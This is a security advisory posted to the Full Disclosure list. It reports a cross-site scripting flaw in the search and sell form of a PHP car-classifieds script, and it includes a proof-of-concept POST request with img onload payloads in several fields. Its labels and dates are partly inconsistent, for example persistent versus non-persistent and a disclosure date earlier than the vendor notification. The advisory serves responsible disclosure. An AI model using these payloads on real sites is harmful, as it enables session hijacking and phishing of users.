'[FD] Car Portal Template - (Search) Persistent Web Vulnerability'

[prev in list] [next in list] [prev in thread] [next in thread] 

List:       full-disclosure
Subject:    [FD] Car Portal Template - (Search) Persistent Web Vulnerability
From:       "info () vulnerability-lab ! com" <info () vulnerability-lab ! com>
Date:       2022-02-17 11:21:30
Message-ID: 3e3d39c4-735b-9649-d95d-181da1e08018 () vulnerability-lab ! com
[Download RAW message or body]

[Attachment #2 (multipart/signed)]

[Attachment #4 (unknown)]

Document Title:
===============
Car Portal Template - (Search) Persistent Web Vulnerability

References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2299

Release Date:
=============
2022-02-08

Vulnerability Laboratory ID (VL-ID):
====================================
2299

Common Vulnerability Scoring System:
====================================
5.6

Vulnerability Class:
====================
Cross Site Scripting - Non Persistent

Current Estimated Price:
========================
500ā‚¬ - 1.000ā‚¬

Product & Service Introduction:
===============================
Advanced web solution for creating multi-user car classifieds and auto portal websites. The \
software has many different features for both the administrators to manage the sites and for \
the users like functionality for the car dealers to create and manage their own micro site, \
email alerts in order to notify the users when new cars meeting their search criteria are \
listed, save the car listings, recommend them to friends, share the listings on the social \
networks, multi-language support and many others.

(Copy of the Homepage:https://www.netartmedia.net/pricing#car-portal  )

Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a non persistent post inject \
vulnerability in the Car Portal Template PHP Script.

Affected Product(s):
====================
NetArt Media
Product: Car Portal Template PHP Script (v2021) - CMS (Web-Application)

Vulnerability Disclosure Timeline:
==================================
2021-09-01: Researcher Notification & Coordination (Security Researcher)
2021-09-02: Vendor Notification (Security Department)
2021-**-**: Vendor Response/Feedback (Security Department)
2021-**-**: Vendor Fix/Patch (Service Developer Team)
2021-**-**: Security Acknowledgements (Security Department)
2021-02-08: Public Disclosure (Vulnerability Laboratory)

Discovery Status:
=================
Published

Exploitation Technique:
=======================
Remote

Severity Level:
===============
Medium

Authentication Type:
====================
Pre Auth (No Privileges or Session)

User Interaction:
=================
Low User Interaction

Disclosure Type:
================
Responsible Disclosure

Technical Details & Description:
================================
A non-persistent post inject web vulnerability has been discovered in the official Car Portal \
Template PHP Script. The vulnerability allows remote attackers to inject malicious script code \
in post method requests to compromise user session data or to manipulate application contents \
for clients.

The cross site scripting web vulnerability is located in the `username`, `user_first_name`, \
`user_last_name`, `variant`, `power`, and `milage` parameters of the `index search` module. \
Remote attackers without privileged access are able to inject own malicious script code in the \
search input field of the index module post method request. The execution takes place in the \
results page of the search after submit via post.

Successful exploitation of the vulnerability results in session hijacking, non-persistent \
phishing attacks, non-persistent external redirects to malicious source and non-persistent \
manipulation of affected application modules.

Request method(s):
[+] POST

Vulnerable File(s):
[+] index.php

Vulnerable Input(s):
[+] Trim
[+] Power
[+] Milage
[+] First name
[+] Last name
[+] Username

Vulnerable Parameter(s):
[+] username
[+] user_first_name
[+] user_last_name
[+] variant
[+] power
[+] milage

Proof of Concept (PoC):
=======================
The client-side post inject web vulnerability can be exploited by remote attackers without \
account and with low or medium user interaction. For security demonstration or to reproduce the \
cross site web vulnerability follow the provided information and steps below to continue.

--- PoC Session Logs (POST) ---
https://car-portal-template.localhost:8080/cars2/index.php
Host: car-portal-template.localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 878
Origin:https://car-portal-template.localhost:8080
Connection: keep-alive
Referer:https://car-portal-template.localhost:8080/cars2/index.php
Cookie: language=en; PHPSESSID=23d238178bfb19f9bd93f25f1b465822
ad_type=&selected_package=0&property_type=1,1&property_zip=&price=,&mod=sell&lang=en&Step=2&current_type=1
 &type=1&username="><img src="evil.source" onload=alert(document.domain)>&password="><img \
src="evil.source" onload=alert(document.domain)> &user_first_name="><img src="evil.source" \
onload=alert(document.domain)>&user_last_name="><img src="evil.source" \
onload=alert(document.domain)> \
&user_email=test@aol.de&user_phone=&car_make=Aixam&car_model=505&variant="><img \
src="evil.source" onload=alert(document.domain)> \
&year=2004&location1=18&location2=-1&level_location=&post_location=18 &power="><img \
src="evil.source" onload=alert(document.domain)>&mileage="><img src="evil.source" \
onload=alert(document.domain)> \
                &transmission=M_MANUAL&fuel_type=M_PETROL&exterior_color=M_WHITE&description=
-
POST: HTTP/2.0 200 OK
server: Apache
set-cookie: language=en; expires=Tue; Max-Age=31536000
vary: Accept-Encoding
content-encoding: gzip
content-length: 6974
content-type: text/html; charset=UTF-8

Note: Searched queries can also be saved to be replied by the client-side within the session to \
followup exploitation.

Reference(s):
https://car-portal-template.localhost:8080/
https://car-portal-template.localhost:8080/cars2/
https://car-portal-template.localhost:8080/cars2/index.php

Credits & Authors:
==================
Vulnerability-Lab [Research Team] \
-https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab

Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. \
Vulnerability Lab disclaims all warranties, either expressed or implied, including the \
warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its \
suppliers are not liable in any case of damage, including direct, indirect, incidental, \
consequential loss of business profits or special damages, even if Vulnerability-Lab or its \
suppliers have been advised of the possibility of such damages. Some states do not allow the \
exclusion or limitation of liability for consequential or incidental damages so the foregoing \
limitation may not apply. We do not approve or encourage anybody to break any licenses, \
policies, deface websites, hack into databases or trade with stolen data.

Domains:www.vulnerability-lab.com		www.vuln-lab.com				www.vulnerability-db.com
Services:   magazine.vulnerability-lab.com	paste.vulnerability-db.com \
                infosec.vulnerability-db.com
Social:	    twitter.com/vuln_lab		facebook.com/VulnerabilityLab \
                youtube.com/user/vulnerability0lab
Feeds:	    vulnerability-lab.com/rss/rss.php 	vulnerability-lab.com/rss/rss_upcoming.php \
                vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php 	vulnerability-lab.com/register.php  \
vulnerability-lab.com/list-of-bug-bounty-programs.php

Any modified copy or reproduction, including partially usages, of this file requires \
authorization from Vulnerability Laboratory. Permission to electronically redistribute this \
alert in its unmodified form is granted. All other rights, including the use of other media, \
are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, \
advisories, source code, videos and other information on this website is trademark of \
vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit \
our material contact (admin@ or research@) to get a ask permission.

				    Copyright  © 2022 | Vulnerability Laboratory - [Evolution Security GmbH]ā„¢

-- 
VULNERABILITY LABORATORY (VULNERABILITY LAB)
RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE

["OpenPGP_signature.asc" (application/pgp-signature)]

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

[prev in list] [next in list] [prev in thread] [next in thread] 